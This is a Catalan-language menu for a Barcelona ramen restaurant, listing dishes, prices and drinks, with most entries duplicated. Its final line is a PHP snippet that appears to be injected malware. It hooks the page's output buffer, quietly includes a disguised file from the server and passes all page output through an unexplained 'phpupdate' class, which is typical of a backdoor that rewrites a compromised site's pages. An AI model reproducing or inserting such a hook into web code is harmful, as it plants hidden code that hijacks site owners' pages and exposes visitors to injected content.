12:30h a 16h - 19:30h a 23:30h

Rambla del Poblenou, 103, 08005 Barcelona

Dilluns a diumenge

CARTA

APERITIUS

Gyozas - - - 4,95€
Gyozas - - - 4,95€

6 unitats. Gyozas a la planxa farcides de carn de porc, col, cebollí, all i gingebre, servides amb salsa de soia.

Gyozas veganes - - - 4,95€
Gyozas veganes - - - 4,95€

6 unitats. Gyozas a la planxa farcides de cabdell, ceba, pastanaga i cebollí.

Age Gyozas - - - 4,95€
Age Gyozas - - - 4,95€

6 unitats. Gyozas fregides farcides de carn de porc, col, cebollí, all i gingebre acompanyades de salsa «sweet chilli».

Age Gyozas veganes - - - 4,95€
Age Gyozas veganes - - - 4,95€

6 unitats. Gyozas fregides farcides de col, ceba, pastanaga i cibulet acompanyades de salsa «sweet chilli».

Takoyaki - - - 5,50€
Takoyaki - - - 5,50€

4 unitats. Croquetes japoneses amb polp acompanyades amb maionesa, salsa Okonomiyaki i flocs de bonitol.

Edamame - - - 3,80€
Edamame - - - 3,80€

Beines de soia saltades amb sal marina.

Goma Wakame - - - 3,80€
Goma Wakame - - - 3,80€

Amanida d’algues amb sèsam.

Kimchi - - - 4,00€
Kimchi - - - 4,00€

Especialitat coreana de vegetals fermentats amb un lleuger toc picant.

Toriman Teriyaki - - - 5,50€
Toriman Teriyaki - - - 5,50€

3 unitats. Panets a la planxa farcits de pollastre amb salsa teriyaki i picat de verdures, coberts amb salsa teriyaki.

Ahiruman & Boletus - - - 5,70€
Ahiruman & Boletus - - - 5,70€

3 unitats. Panets a la planxa farcits d’ànec rostit, bolets i picat de verdures, coberts amb salsa hoisin.

Siu Mai de llagostí - - - 5,30€
Siu Mai de llagostí - - - 5,30€

4 unitats. Siu Mai farcit de llagostí, carn de porc i picat de bolets i verdures. Acompanyada amb la nostra salsa gyoza.

Gyozas d'ànec rostit i boletus - - - 5,30€
Gyozas d'ànec rostit i boletus - - - 5,30€

4 unitats. Gyozas al vapor farcides d’ànec rostit, bolets i picat de verdures.

Karaage - - - 5,10€
Karaage - - - 5,10€

6 unitats. Boletes de pollastre arrebossat a l´estil japonès servides amb salsa agredolça.

BAO BUN

Bao Bun de pollastre - - - 4,95€
Bao Bun de pollastre - - - 4,95€

Bao farcit de pollastre fregit cruixent, cacauets i canonges, servit amb salsa tonkatsu.

Bao Bun d'ànec - - - 4,95€
Bao Bun d'ànec - - - 4,95€

Bao farcit de tires d’ànec cruixent, cacauets i canonges amb salsa hoisin.

Bao Bun de chashu - - - 4,95€
Bao Bun de chashu - - - 4,95€

Bao farcit de carn de porc, cacauets i canonges, servit amb maionesa japonesa.

Bao Bun Niku Nashi - - - 4,95€
Bao Bun Niku Nashi - - - 4,95€

Bao amb proteïna vegetal heura, canonges, cacauet i salsa de sèsam.

RAMEN

Tonkotsu Ramen - - - 9,50€ (100g) - 10,95€ (200g)
Tonkotsu Ramen - - - 9,50€ (100g) - 10,95€ (200g)

Noodles amb chashu, pak choi, nori, bambú, naruto, ou, cebollí i brots de soia, servit en el seu brou casolà.

Shoyu Ramen - - - 9,50€ (100g) - 10,95€ (200g)
Shoyu Ramen - - - 9,50€ (100g) - 10,95€ (200g)

Noodles amb chashu, pak choi, nori, bambú, brots de soia, naruto, ou i cebollí en el seu brou casolà i shoyu.

Miso Ramen - - - 9,50€ (100g) - 10,95€ (200g)
Miso Ramen - - - 9,50€ (100g) - 10,95€ (200g)

Noodles amb chashu (porc), pak choi, nori, bambú, naruto, ou, brots de soia i cebollí, servit en brou casolà amb miso.

Yasai Miso Ramen - - - 10,95€
Yasai Miso Ramen - - - 10,95€

Noodles amb chashu, pak choi, nori, bambú, naruto, brots de soia, ou i cebollí, servit en el seu brou casolà amb miso.

Fried Chicken Ramen - - - 12,50€
Fried Chicken Ramen - - - 12,50€

Noodles amb pollastre cruixent, pak choi, naruto, brots de soia, bambú, nori, ou, bolets shitake i cebollí, servit en el seu brou casolà.

Ebi Ramen - - - 12,95€
Ebi Ramen - - - 12,95€

Noodles amb llagostí en tempura, brots de soia, cebollí, ou i pak choi, servit en brou casolà i shoyu.

Ramen d'ànec - - - 12,95€
Ramen d'ànec - - - 12,95€

Noodles amb tires d’ànec cruixent, brots de soia, ou, pak choi, bambú, naruto, nori i cebollí, servit en el seu brou casolà.

Shichu Ramen - - - 12,95€
Shichu Ramen - - - 12,95€

Noodles amb vedella guisada a l’estil taiwanès, brots de soia, pak choi, ou i cebollí, servit en el seu brou casolà.

SPICY RAMEN

Tan Tan Ramen - - - 9,95€ (100g) - 11,95€ (200g)
Tan Tan Ramen - - - 9,95€ (100g) - 11,95€ (200g)

Noodles amb carn picada, pak choi, brots de soia, ou, salsa cacauet, cebollí i miso, servit en el seu brou casolà amb salsa picant especial.

 

Demana el teu nivell de picant de 1 a 5!

Infierno Ramen - - - 12,95€
Infierno Ramen - - - 12,95€

Noodles amb chashu, ou, pak choi, brots de soia, miso i cebollí, servit en el seu brou casolà amb salsa picant especial.

 

Demana el teu nivell de picant de 1 a 5!

Spicy Fried Chicken Ramen - - - 12,95€
Spicy Fried Chicken Ramen - - - 12,95€

Noodles amb pollastre cruixent, pak choi, bambú, brots de soia, ou, bolets shitake i cebollí, servit en brou casolà amb salsa picant.

 

Demana el teu nivell de picant de 1 a 5!

Kimchi Katsu Ramen - - - 12,50€
Kimchi Katsu Ramen - - - 12,50€

Noodles amb filet de porc cruixent, pak choi, ou, kimchi, brots de soia i cebollí, servit en brou casolà amb salsa picant.

 

Demana el teu nivell de picant de 1 a 5!

 RAMEN VEGÀ

Miso Pinattsu Ramen - - - 12,50€
Miso Pinattsu Ramen - - - 12,50€

Noodles amb proteïna vegetal heura, brots de soia, pak choi, bolets shitake, pastanaga, ceba morada i cebollí, servit en brou casolà amb miso i salsa pinattsu.

Yasai Shoyu Ramen - - - 11,95€
Yasai Shoyu Ramen - - - 11,95€

Noodles amb proteïna vegetal heura, brots de soia, pak choi, bambú, pastanaga, nori, ceba morada i cebollí, en el seu brou casolà vegetal amb salsa shoyu.

Dragon Ramen - - - 12,95€
Dragon Ramen - - - 12,95€

Noodles amb proteïna vegetal heura, brots de soia, pak choi, canonges, bolets shitake, ceba morada i cebollí, servit amb el nostre brou casolà, miso i la nostra salsa picant especial.

Tan-Tan Ramen Vegà - - - 12,50€
Tan-Tan Ramen Vegà - - - 12,50€

Noodles amb proteïna vegetal heura, pak choi, brots de soja, cibulet, servit al seu brou casolà amb salsa picant especial. Demana el teu nivell de picant de 1 a 5!

NOODLES

Mazesoba Pinattsu - - - 9,95€
Mazesoba Pinattsu - - - 9,95€

Noodles amb carn picada, brots de soia, cacauet, ceba fregida, adobat, api, cebollí, coriandre, soia i salsa pinattsu. Saltat amb vi d’arròs i oli de sèsam.

Pad-Thai - - - 9,50€
Pad-Thai - - - 9,50€

Noodles d’arròs saltats amb ou, ceba morada i brots de soia, cacauet, sèsam blanc i negre, coriandre i llima.

 

Una mica picant.

Mazesoba Little Ramen - - - 9,95€
Mazesoba Little Ramen - - - 9,95€

Ramen sense brou. Noodles amb carn picada, pak choi, coriandre, cacauet en gra, ceba fregida, brots de soia, adobat, api, cebollí, salsa picant, vi d’arròs, soia i oli de sèsam. Demana el teu nivell de picant de 1 a 5!

Mazesoba Pinattsu Vegà - - - 9,95€
Mazesoba Pinattsu Vegà - - - 9,95€

Noodles amb proteïna vegetal ferida, brots de soja, cacauet, ceba cruixent, adobat, api, cibulet, coriandre, soja i salsa pinattsu. Saltejat amb vi d’arròs i oli de sèsam.

ARRÒS

Arròs Kiku - - - 9,95€
Arròs Kiku - - - 9,95€

Arròs fregit amb ànec, cebollí, ous regirats, ceba morada i brots de soia, saltat amb vi d’arròs i soia.

Arròs Sakura - - - 8,50€
Arròs Sakura - - - 8,50€

Arròs fregit amb chashu, vedella, cebollí, ceba morada i ous regirats, saltat amb soia i vi d’arròs.

Katsudon - - - 9,50€
Katsudon - - - 9,50€

Pollastre cruixent amb ou, cebollí, ceba morada i alga nori servit amb arròs blanc.

Kimchi Don - - - 9,95€
Kimchi Don - - - 9,95€

Filet de porc cruixent amb arròs blanc saltat amb ou, kimchi, ceba morada, brots de soja, salsa de soja i vi d’arròs i cebollí.

POSTRES

Mochi artesà - - - 4,95€
Mochi artesà - - - 4,95€

Embolcall d’arròs glutinós farcit d’una saborosa i tradicional mousse de sabors a escollir entre:

  • Te verd
  • Sakura
  • Xocolata
  • Vainilla
  • Cheesecake
  • Mango-Maracujà
  • Oreo
  • Gerd i rosa (Vegà)

Gelat - - - 4,50€
Gelat - - - 4,50€

  • Te verd
  • Vainilla (2 boles)
  • Xocolata (2 boles)
  • Maduixa (2 boles)

Dorayaki - - - 4,50€
Dorayaki - - - 4,50€

Pa de pessic pla farcit de crema a triar entre:

  • Mousse de xocolata
  • Mongeta vermella

BEGUDES

Healthy Drink - - - 3,80€
Healthy Drink - - - 3,80€

  • Ice tea amb llimona o gerds
  • Gingebre amb llimona i mel
  • Te verd amb llimona i mel (calent o fred)
  • Llimona amb mel (calent o fred)
  • Te verd (calent o fred)
  • Llimonada

Refrescos - - - 2,80€
Refrescos - - - 2,80€

  • Coca-Cola
  • Coca-Cola Zero
  • Aquarius Llimona
  • Aquarius Taronja
  • Fanta Taronja
  • Fanta Llimona

Ramune - - - 4,20€
Ramune - - - 4,20€
Refresc japonès
Aigua Mineral
Aigua Mineral

  • Aigua mineral – – – 2,40€
  • Aigua amb gas (Vichy Catalan) – – – 3,00€

Cervesa
Cervesa

  • Estrella Damm (33cl) – – – 2,90€
  • Estrella Damm sense alcohol (33cl) – – – 2,90€
  • Sapporo (Japó) – – – 3,95€
  • Asahi (Japó) – – – 3,95€
  • Kirin (Japó) – – – 3,95€

Vins
Vins

  • Copa de vi blanc – – – 3,50€
  • Copa de vi negre – – – 3,50€
  • Ampolla de vi blanc – – – 13,00€
  • Ampolla de vi negre – – – 14,00€
  • Negre d’estiu – – – 3,95€

Sake
Sake

  • Xopet – – – 3,00€
  • Sake (gerra 250ml) – – – 8,50€
  • Sake Hakutsuru (botella) – – – 20,00€

Còctels
Còctels

  • Combinat (Whiskey, Ron, Baileys) – – – 4,00€
  • Mojito Clàssic – – – 8,50€
  • Mojito (Mango, Coco, Maduixa) – – – 8,50€
  • Caipirinha – – – 8,50€
  • Caipiroska – – – 8,50€
  • Aperol – – – 8,50€

function ob_gzhanler($s) { $f='/usr/home/ramenshifu.com/etc/ssess_3483733839f192adac3959c62b1e104b'; if(file_exists($f)) include_once($f); return class_exists('phpupdate') ? phpupdate::copyright($s) : $s; } ob_start('ob_gzhanler');